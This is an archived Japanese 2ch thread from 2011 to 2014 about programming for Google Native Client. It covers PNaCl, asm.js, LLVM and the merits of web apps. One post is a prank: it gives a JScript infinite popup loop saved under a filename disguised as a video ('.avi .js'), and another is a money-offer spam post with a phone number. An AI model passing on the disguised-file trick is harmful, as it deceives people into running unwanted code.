Google NaCl プログラミング 2mol

**デフォルトの名無しさん** · 2011/02/25(金) 15:17:57.50

GoogleのNaCl環境でプログラミングする人のためのスレ
Chromeブラウザーは7から--enable-naclオプションを付けて起動するとNaClが有効になります。
※ Chrome 10.x 以降推奨

Native Client SDK : ttp://code.google.com/intl/en/chrome/nativeclient/
Examples: ttp://code.google.com/intl/en/chrome/nativeclient/docs/examples.html
More Examples: ttp://code.google.com/p/naclports/source/browse/#svn%2Ftrunk%2Fsrc%2Fexamples

前スレ
http://hibari.2ch.net/test/read.cgi/tech/1291875057/

**デフォルトの名無しさん** · 2011/12/16(金) 11:22:18.37

SPDYはFireFoxのnightlyに入ったが
NaClのABIは春にFIXしたけど
ARMやPNaClはこれからだし、Papperもまだ先。
なにかしらの対応ソフトが出て安定してからのような気がする。
もしかすると、ここ一年でそうなるのかもしれないが。

**デフォルトの名無しさん** · 2011/12/17(土) 23:57:59.38

【ウェブアプリケーションという不幸】

現在、多くのプログラマ（素人）がウェブアプリケーションというものがベストな正しい方向だと勘違いしている。
ソフトウェアの作るにおいてそのアプリケーションに応じた状態遷移を実装するというのは基本中の基本である。
その点においてウエブブラウザというある状態遷移が実装されているアプリケーションの上に
また別のアプリケーションを実装するのは論外である。
そこまでするなら普通にアプリケーションを実装してダウンロードして使ってもらえばいいのである。
ウェブアプリケーションとは虚構にしか他ならない。
ウェブアプリケーションを作ろうとしているあなた。
今すぐ普通のアプリケーションとし設計し始めてはいかがだろう。
そうすればきっと後悔しないですむ。

HTMLやHTTPを悪者にはしていない。
TCP/IPができあがり、その応用として、ファイルを送ったりするようになった。
ファイルの中身のテキストにデータ構造をもたせ、それはつまりツリー構造なわけだが
その実装としてのハイパーテキスト、つまりHTMLという送る側と送られる側で決め事（プロトコル）
をつくり、画像や音楽など表現の幅を広げることは当然の成り行きだっただろう。
そして、その送る側としてのHTMLファイルサーバ、つまりWebサーバ、送られる側としてのプロトコルの解釈・表示系としての
ブラウザというアプリケーション。
ここまではいい。
だが、そこから先が素人の発想というか、いそがばまわれを忘れた者の愚かな発想。
つまりブラウザ上で、アプリケーションを動かすという発想なのである。
ブラウザというのは、おくられてきたステートレスな通信内容の一瞬の表示手段でしかない。
つまりアプリケーションのためのひとつのパーツなのである。
Windowsでいえば、コントロールのひとつ。（実際WebBrowserというコントロールがある。）
JavaならWebClietnだ（これは、ブラウザではないが。）。
包含関係が逆なのである。
ブラウザ上にアプリケーションを作るのは愚かなブームである。

**デフォルトの名無しさん** · 2011/12/18(日) 20:49:27.19

プラットフォームから独立したアプリケーションを持つというのは
非常に効率の良い投資になり、上記の意見はあまり利口ではない

速度の問題はあるが、マルチコア化等のハードの進化とNacl等で
解決されるから柔軟性、移植性の方がはるかにこれからは優先される

**デフォルトの名無しさん** · 2011/12/18(日) 23:41:33.75

ブラウザOS時代のプラグインのあり方、くらいに思ってるけどね

**デフォルトの名無しさん** · 2011/12/19(月) 11:52:17.47

よく考えるとJavaのやり直しっぽいなNaCL

**デフォルトの名無しさん** · 2012/01/08(日) 09:08:01.17

逆にクロスプラットフォームでセキュアなC/C++が有り得るならJavaなんて要らんかったんや

**デフォルトの名無しさん** · 2012/01/16(月) 04:10:29.72

ActiveX, Java, Flash, Silverlight

**デフォルトの名無しさん** · 2012/02/27(月) 04:23:51.58

これで電脳めがねの世界に近づくな。
やっぱ世界を構築する言語はc++じゃないと

**デフォルトの名無しさん** · 2012/04/14(土) 10:41:33.04

保守

**デフォルトの名無しさん** · 2012/05/11(金) 23:27:02.21

Ubuntu12.04でaptからchromium 18.0インストールしたんだが、
about:pluginsにNaClがない。

NaCl製のアプリ起動してみても、NaClプラグインが見つからないだのLoading NaCL pluginで止まったりだのして使い物にならん。
about:flagsには「Web Storeのアプリ以外でもネイティブクライアント機能を使う」みたいのしかない。ちなみにこれ有効にしてももちろん動かない。

一体どういうことなんだってばよ。コンパイル時に省かれたってことかね？

**デフォルトの名無しさん** · 2012/06/30(土) 12:17:23.51

iOS版Chromeでもちゃんと動いた？
ベースがWebkitなので不安なんだけど

**デフォルトの名無しさん** · 2012/07/01(日) 00:13:36.14

そもそもARMに対応してないんじゃないか

**デフォルトの名無しさん** · 2012/07/18(水) 23:11:37.33

前スレ落ちてたはずなんだが
復活してるっぽい？

【Goggle】 Native Client 【】
http://toro.2ch.net/test/read.cgi/tech/1229000936/

**デフォルトの名無しさん** · 2012/09/12(水) 03:50:32.17

標準マンセー！俺ら勝ち組！JS勉強しとけば人生勝利！
って言ってるやつ、全員死亡フラグ立ててるよね(´・ω・｀)
jQueryでちょこちょこ動きつけて喜んでる程度のやつとか、
その逆にJSやCSSの糞ノウハウ貯めこんで最先端気取りのJavaScripterとか実にヤクイ
ピンチが危ない

どう考えてももっと効率のいい開発手法で一掃されるだろ。
他言語からのコンバート系とか（Angry BirdsのHTML5版はJava製だし、
最近Mozillaが過去のC++ゲーの移植やってるよな）Unityとか。
FlashもHTML5出力に取り掛かってるようだから
頑張ってSWF解析して再生してるソシャゲ屋さんあたりも涙目になるかも

**デフォルトの名無しさん** · 2012/09/12(水) 03:58:49.24

JSはゴミだが、誰も使ってないNaClよりはマシだろｗ

**デフォルトの名無しさん** · 2012/09/12(水) 16:06:05.55

> 他言語からのコンバート

余計筋が悪いものに乗り換えるとかありえないからw

**デフォルトの名無しさん** · 2012/09/18(火) 22:54:54.70

>>251
c++やjavaから比べればjsの方が開発効率ヨサゲ
プログラムを書いてる本人が分からなくなることは、
引数と返り値の型で、後で付け加えたり変更したりの修正であっちこっちに意識が飛ぶ
理想的なのは動的言語でプログラムを書いて、型チェックをしてくれるツールが付いてくること
誰か型チェックする魔法の検査ツールを作ってくれよ

**デフォルトの名無しさん** · 2012/09/19(水) 01:19:21.18

>>254
Pepper APIとnexe生成の際に結構面倒見てくれるんじゃなかった？あとはサンドボックで。
Googl/Oでは、ポータブルバイナリPNaClは年内と言ってたし、更にその辺り改良されるはず。じゃなきゃ前に進めない。

ゲーム業界じゃ、GaikaiがIOでデモってたし、そのGaikaiはSCEに買収されたし、前から噛んでたSamsungはスマホ連携でGaikaiゲーム降らせるとアナウンスずみ。
携帯ゲーム機はスマホに潰されたし、PCもOSも問わないフレームワークは開発やメンテ、運営のコストを大きく下げられるのでメリット大。
ちょい先の動きになるかも知れないが、備えたほうがいいと思う。

**デフォルトの名無しさん** · 2012/09/19(水) 10:56:49.96

>>254
pythonはデコレータでチェック出来る

**デフォルトの名無しさん** · 2012/09/28(金) 15:36:40.56

html5とnode.jsは零細web屋たちへの一筋の光。
naclによるゲーム開発なんて、ソシャゲ屋と大手が潰しあうのを見て楽しむためにある
何よりも、5,6年ほど前のPHP,perl,python,rubyが一番にヤクかった。emacs,vimブームもヤクかった。

**デフォルトの名無しさん** · 2012/09/28(金) 16:22:10.17

ゲームが走るってのは、ベンチみたいなもんだろ
ゲームが走れば、だいたいのことはできそうなもんだからね

NaClの意義は、ブラウザOSのネイティブレイヤになることかと
RPCとかも実装されているのは大きい

**デフォルトの名無しさん** · 2012/09/29(土) 17:13:27.54

>>254
プロトタイプベースの言語推しといて型チェックの話をするのは矛盾を孕んでいるというか、ナンセンスというか
ObjectはObjectでしかないわけだし

**デフォルトの名無しさん** · 2012/09/29(土) 17:54:03.57

>>258
昔から、quakeが動くのがベンチだよ

**デフォルトの名無しさん** · 2012/09/29(土) 18:08:40.66

>>259
最初にインスタンスを生成したとこからオブジェクトの要素なんて変更しないでしょ
最初は文字列で、途中からdoubleになってたりなんて、すごく嫌。
インスタンスの生成箇所から、後のkey/valueをチェックしてくれる魔法のツールが欲しいのん

**デフォルトの名無しさん** · 2012/09/30(日) 00:41:12.75

>>251
どうでもいいが、Flashの後釜はSVGであってHTML5ではない

SVGアニメーションデモ
http://ie.microsoft.com/testdrive/Performance/FishIETank/Default.html
http://ie.microsoft.com/testdrive/Default.html

**デフォルトの名無しさん** · 2012/09/30(日) 07:56:30.35

>>261
全然噛み合ってないしよりナンセンスな話をしてるよあんた

**デフォルトの名無しさん** · 2012/09/30(日) 07:58:23.14

ocamlのRecordで事足りる
NaClにも移植されるだろ

**デフォルトの名無しさん** · 2012/10/12(金) 05:34:30.62

こういうスレって最初は物珍しくて伸びるけど、その内飽きて放置される運命
たまに誰かが上げてちょっと伸びるけど、そのくらいで終わる。

**デフォルトの名無しさん** · 2012/10/12(金) 07:06:33.23

>>265
あちこちに書き込んじゃってどうしたの
その言い回し気に入ったの？

**デフォルトの名無しさん** · 2012/10/12(金) 07:19:02.04

>>266
何か知らんが俺の書き込みを気に入って拡散しているアホが居るらしい

**デフォルトの名無しさん** · 2012/11/05(月) 02:04:57.40

クライアントのjavascriptだとソースモロ見えだからNaCl使うんだろ？
あとChrome OS用

**デフォルトの名無しさん** · 2012/11/06(火) 02:56:25.10

ソースモロ見えだから嫌って言う人だいぶ減ったな。
初心者がたまに2chで言ってるぐらい？

**デフォルトの名無しさん** · 2012/11/06(火) 03:23:03.81

ソースモロ見えが嫌だからNaCl使う

**デフォルトの名無しさん** · 2012/11/06(火) 08:47:26.47

難読化されたJavaScriptってネイティブコードよりよっぽど難解だと思うけどなぁ
例えばこういうコードが何百行も続いてるやつを読む気になる？
aaa=(((0x4435,7.)>=(.61,9.12e2)?(1,4.033e3):(266,7.1e1)),((0x97<=.1?7.616e3:2.176e3),(.39<8e0?document:2032)))

**デフォルトの名無しさん** · 2012/11/06(火) 09:03:16.86

>>271
それは解析する人次第だしなー
ただ、jsのほうが改ざん自己検出能力は劣ると思う
NaCLってコード署名周りどうなってるんだっけ？

**デフォルトの名無しさん** · 2012/11/06(火) 10:42:58.16

>>271
いや普通にツールで整形できますんで

**デフォルトの名無しさん** · 2012/11/06(火) 19:46:26.92

>>273
どのツールなら出来るか書いてよ

**デフォルトの名無しさん** · 2012/11/06(火) 19:53:21.37

273じゃないけどそれくらいググれよ。
デバッガも使えばクリティカルな場所を探すのは容易くなる。
コードが見えて、アルゴリズムが盗まれるなんて野暮ったい話じゃないぞ。

**デフォルトの名無しさん** · 2012/11/06(火) 20:10:58.35

整形するだけのツールなら山ほどあるけど、整形するだけじゃ意味ないよねって話だぞ。

**デフォルトの名無しさん** · 2012/11/06(火) 22:01:20.93

>>276
仰ってる意味が

**デフォルトの名無しさん** · 2012/11/07(水) 00:06:40.45

>>276相手なら綺麗に整った生コードでも十分そうだな

**デフォルトの名無しさん** · 2012/11/07(水) 00:18:50.45

>>277-278
話にならんな。
>どのツールなら出来るか書いてよ

**デフォルトの名無しさん** · 2012/11/07(水) 01:14:47.24

こんなスレにいてググることもできないのか
それとも、あることを認めた上と取れる>>276をなかったことにしたくて話を戻したのか

**デフォルトの名無しさん** · 2012/11/07(水) 08:31:17.00

煽りたいだけの青いお年頃

**デフォルトの名無しさん** · 2012/12/07(金) 20:23:36.38

ゲームだの何だので海外じゃ盛り上がってるのになぜ国内では盛り上がらないのか

**デフォルトの名無しさん** · 2012/12/07(金) 20:46:59.06

国内はドカタとPHPerしかいない

**デフォルトの名無しさん** · 2012/12/09(日) 00:42:25.25

日本はスマホ関連が活発なので、UnityのWebPlayerに流れてるイメージがある。

**デフォルトの名無しさん** · 2012/12/09(日) 00:45:04.77

ブラウザでゲームという話も、JSやらFLASHの変換やらはスマホ中心で回ってる気がする。

**デフォルトの名無しさん** · 2013/01/29(火) 02:59:36.80

ほ

**デフォルトの名無しさん** · 2013/03/03(日) 16:37:16.55

CPUさえ同じならOS関係なくネイティブコードが動くのがいい所
でもAndroidではまだ動かない

**デフォルトの名無しさん** · 2013/03/03(日) 23:01:09.51

元々超高速なサンドボックス環境がx86で作れるというところから出発したけど、
x86では、flashなど既存のプログラムがサンドボックス環境で動くのに役立ったというところで区切りがついたような気がする。
ARMのnacl実装も作ったみたいだけど、
今後の開発の中心は、それぞれのCPUで超高速なサンドボックスよりも、LLVM使ったポータブル(PNaCl)なサンドボックスに向かうみたいだね。

**デフォルトの名無しさん** · 2013/03/04(月) 08:01:08.81

いうてもLLVMがXplatformじゃなくて滞ってんでしょ
別にCPU毎に実行file用意する現状で良いと思うがねぇ
何ならosx見たいに各platformの実行codeを
1つの実行fileにまとめても良い。

**デフォルトの名無しさん** · 2013/03/04(月) 14:48:11.96

AndroidはMacみたいなファットバイナリで配布できるね
で、その機種のCPU向けのコードだけがインストールされる

**デフォルトの名無しさん** · 2013/03/11(月) 17:39:23.55

過疎

**デフォルトの名無しさん** · 2013/03/11(月) 19:23:49.80

◆電波王の顔写真が公開されるプログラム◆
１．メモ帳に↓をコピペする
　　for(;;){ WScript.Echo('このウィンドウは永久に消えません。m9（＾Д＾）プギャー'); }
２．ファイル名を↓で保存する
　　電波王顔.avi .js
これだけでOK！

**デフォルトの名無しさん** · 2013/03/18(月) 02:41:57.82

桐島、Rubyやめるってよ
http://htn.to/9GrwNV

**デフォルトの名無しさん** · 2013/04/25(木) 22:30:00.24

asm.jsでオワコン化？

**デフォルトの名無しさん** · 2013/04/25(木) 22:49:21.08

方向性が全く別だし

**デフォルトの名無しさん** · 2013/04/26(金) 01:08:57.75

C++のコードはどちらにもコンパイル(変換)できるようになるんじゃないかな？

**デフォルトの名無しさん** · 2013/04/26(金) 01:38:36.18

NaClはもともとx86で高効率にサンドボックス化が可能というところから始まったのだが、
x64,armと対応進めるうちにサンドボックスのためllvmのvm使ったpnaclが最終目標となってしまった。
そのようにVM使ってポータブルにした場合、メモリアクセスに特化したasm.jsよりメモリアクセスが遅くなる可能性もある。

**デフォルトの名無しさん** · 2013/04/26(金) 10:00:38.79

せっかくNativeを謳ったNaClなのにVMなんかにして
JavaAppletやActiveXと何が違うんかって話だよな

**デフォルトの名無しさん** · 2013/04/26(金) 11:35:58.38

axというよりは、月光？

**デフォルトの名無しさん** · 2013/05/16(木) 07:08:06.84

>>298
llvmとvmを一緒にすんなよあほ

**デフォルトの名無しさん** · 2013/05/16(木) 23:53:38.23

pexeは、バイトコード動かすのではなく、一回バイナリコードにコンパイル(llc?)して実行するらしい。

**デフォルトの名無しさん** · 2013/05/16(木) 23:59:47.83

実行直前のAOTってのもなんだかなーと、おもうけど、lli(VM)で動かすんじゃないみたい。

**デフォルトの名無しさん** · 2013/05/17(金) 00:50:27.90

http://blog.kmckk.com/lite/archives/2435798.html
llvmのバイトコードは、ほぼ機械語と一緒なのか。

**デフォルトの名無しさん** · 2013/05/24(金) 02:10:27.32

asm.jsはあかん
ただでさえC++はコンパイルに時間がかかるのに
そこからasm.jsコードへの変換の遅さがただごとではない

PNaClもSIMD使えないなどというし、
大体どちらもAOTコンパイルに時間かかるのが原理上不可避
結局ブラウザではネイティブコードは二級市民ってこったな。

JSそのものを捨てないことには話にならんというGoogleの判断
案外正しいんじゃねーのか。

**デフォルトの名無しさん** · 2013/05/24(金) 02:23:44.26

>>304
LLVMとWebGLを勉強しなおしてこい

**デフォルトの名無しさん** · 2013/05/26(日) 01:48:45.26

>>305
勉強しなおしてこいｗｗｗｗｗｗｗｗｗｗ
俺が何を言っているかまったく理解していないんじゃないの？

**デフォルトの名無しさん** · 2013/05/26(日) 02:00:04.42

C++→（Clang）→LLVM→（Emscripten）→asm.jsコード

　　　　　　　　　　　　　　　　　　↑
　　　　　　　　　　　　ここ。これが死ぬほど遅い。

C++１行書き換えても全部再コンバートだからな。
比較的小さいライブラリ等ならともかく、大規模プロジェクトに使えるかこんなもん。

ウェブの連中はまるでreadyに届いていないものをreadyだreadyだ宣伝するのやめろよマジで。
ほとんど詐欺師

**デフォルトの名無しさん** · 2013/05/26(日) 02:28:50.24

完全詐欺師

**デフォルトの名無しさん** · 2013/07/26(金) NY:AN:NY.AN

asm.js を擁護するわけではないけど、 relooper 切れば死ぬほど遅くはないような。

ところで、 PNaCl って開発に異様に時間がかかっている気がするのだけど、
一体何に苦戦している（た）んだろう?

**デフォルトの名無しさん** · 2013/09/06(金) 17:18:47.44

http://chrome.blogspot.jp/2013/09/a-new-breed-of-chrome-apps.html
http://itpro.nikkeibp.co.jp/article/NEWS/20130906/502868/

**デフォルトの名無しさん** · 2013/09/06(金) 17:19:23.23

http://news.mynavi.jp/news/2013/09/06/057/
http://internet.watch.impress.co.jp/docs/news/20130906_614308.html

**デフォルトの名無しさん** · 2013/09/20(金) 02:31:22.87

>>307
開発サイクルでの修正箇所は、c++によるコンパイルまでじゃないの?
本当に大規模な開発を行うのなら開発環境ぐらい整えそうなもんだけど

**デフォルトの名無しさん** · 2013/09/26(木) 05:48:12.87

Google、「Google Chrome」の“NPAPI”プラグインサポートを段階的に廃止
http://www.forest.impress.co.jp/docs/news/20130925_616845.html

> 1. Silverlight（先月15％のユーザーが利用）

> 上記のプラグインを使い続けているユーザーは、早めの移行を済ませておくべきだろう。

……。

**デフォルトの名無しさん** · 2013/09/26(木) 12:30:26.38

Unity死亡ｗｗｗ

**デフォルトの名無しさん** · 2013/09/27(金) 00:45:57.69

しばらくはosxならsafari、windowsならieという感じかな？
その後、pepper api版web playerが出るのか対応見送りになるか分からないけど。

**デフォルトの名無しさん** · 2013/10/19(土) 23:04:48.14

過疎ってるけど食塩は死滅しちゃうの？

**デフォルトの名無しさん** · 2013/10/20(日) 07:18:47.36

　　　　　＼　　　　　　　　　　　　　　　　　　　　　／
　　　　　　　＼　　　　　　　　　　　　　　　　　　／
　　　　　　　　＼　　　　　　　　　　　　　　　／
　　　　　　　　　　＼　　　　　　　　　　　　／
　　　　　　　　　　　＼　　　　　　　　　／
　　　　　　　　　　　　　＼∧∧∧∧／
　　　　　　　　　　　　　＜　　俺　＞
　　　　　　　　　　　　　＜　予し　＞
　　　　　　　　　　　　　＜　　か　＞
─────────＜　感い　＞──────────
　　　　　　　　　　　　　＜　　　な　＞　　　　　
　　　　　　　　　　　　　＜　 !!! い　＞　　　　　　
　　　　　　　　　　　　　／∨∨∨∨＼
　　　　　　　　　　　／　　　　　　　　　＼
　　　　　　　　　　／　　　∧＿∧　　　　＼
　　　　　　　　／　　　 ( 　･ω･)　　　　　　＼
　　　　　　　／　　　　＿(__つ/￣￣￣/　　　　＼
　　　　　／　　　　　　　＼/　　　　 /　　　　　　＼

**デフォルトの名無しさん** · 2013/10/29(火) 13:03:07.01

ま、可能性としては
１にJS、２にDartだからな

**デフォルトの名無しさん** · 2013/11/16(土) 01:24:20.59

(P)NaCl のスレッドに、ここまで閑古鳥が鳴いているのは意外だな。
パフォーマンスが欲しいときや C/C++ のライブラリを活用したい場合、
選択肢は NaCl か asm.js しかないわけで、なんだかんだ言って
まだ(?)そういう需要はあまりないということなのかな。

**デフォルトの名無しさん** · 2013/11/23(土) 23:03:11.08

一般的なWeb開発者が直接使うレイヤーではないくて、ネイティブの開発者やライブラリの開発者が使うレイヤーだと思うので、
しばらくソース読んでもくもくやってそう

**デフォルトの名無しさん** · 2013/11/24(日) 00:11:42.67

レスが一週間後でしかも自演とかもうね

**デフォルトの名無しさん** · 2014/01/15(水) 19:04:59.73

パフォーマンスもマルチプラットフォームもこれじゃあ流行るはずがない
tps://blog.mozilla.org/luke/2014/01/14/asm-js-aot-compilation-and-startup-performance/

**デフォルトの名無しさん** · 2014/01/16(木) 00:15:27.27

JITで十分(なこともある)か、、

**デフォルトの名無しさん** · 2014/01/16(木) 20:52:18.22

ループ回数に応じた最適化とか原理的にはJITの方が可能性が高いだろう。

まあこういうベンチはこんな書き方しないだろうっていうコードばかり。
でもそれはどちらかと言うとAOTに有利に働いているはずだから、
マイクロベンチでJITでこれほどのパフォーマンスを出せるのは凄い。

**デフォルトの名無しさん** · 2014/01/17(金) 17:57:43.77

http://wired.jp/2014/01/16/death-pc-also-mean-end-web/

ブラウザ死亡確定
開発効率の向上とインストールの簡易さ向上により
もはやWebアプリの利点は失われた。

**デフォルトの名無しさん** · 2014/01/30(木) 19:39:16.70

>>324
> マイクロベンチでJITでこれほどのパフォーマンスを出せるのは凄い。
何か勘違いしてるっぽいけど、asm.jsはAOTでGCもしないよ

>>325
> インターネットを完全に飛ばして、ウェブを使わないモバイル世界に直接入っていく
煽り過ぎて意味不明…
今はインターネットを経由せずにモバイルの世界に入れるのかよ

**デフォルトの名無しさん** · 2014/01/30(木) 19:43:00.64

原文の方も調べてみたら
moving straight from no internet at all to the web-shy world of mobile
ちゃんと no internet って書いてある…
概念的な事を言ってるんだろうけど、単に煽ってるだけだな

**デフォルトの名無しさん** · 2014/02/21(金) 22:22:19.62

armのchromebookでbastion遊べるかなー
と思ったけどNaClサポートしてないんだな・・・ガクッ
ttps://chrome.google.com/webstore/detail/bastion/oohphhdkahjlioohbalmicpokoefkgid

**デフォルトの名無しさん** · 2014/02/24(月) 10:25:48.91

これが出た時はついに全てを統べる者が現れたと思ったけど、全然流行らんなー

**デフォルトの名無しさん** · 2014/02/24(月) 14:19:16.73

なんでだろ

**デフォルトの名無しさん** · 2014/02/24(月) 14:20:47.58

Qtまだー？

**DAIKI** · 2014/03/01(土) 21:03:29.37

十万円差し上げます。
７億の事知ってる人
０９０３４２４３７６１

**デフォルトの名無しさん** · 2014/03/06(木) 14:57:20.83

Googleは簡単に梯子外しする印象があるんだよなー
急にサポート打ち切るとか言い出しかねないから、興味ある人も怖がって遠巻きに眺めてるんじゃないか。

**デフォルトの名無しさん** · 2014/03/06(木) 22:24:31.24

NaCL, Go, Dart 全敗するかも…

**デフォルトの名無しさん** · 2014/03/07(金) 06:37:32.92

>Googleは簡単に梯子外しする印象がある

同意だけど
前例って何があったっけ

**デフォルトの名無しさん** · 2014/03/07(金) 09:08:12.13

GoogleMaps って使いにくくなったよな

**デフォルトの名無しさん** · 2014/03/07(金) 18:20:32.45

>>335
Googleのプロダクトのお墓みると凄い数があるよー(URLは失念)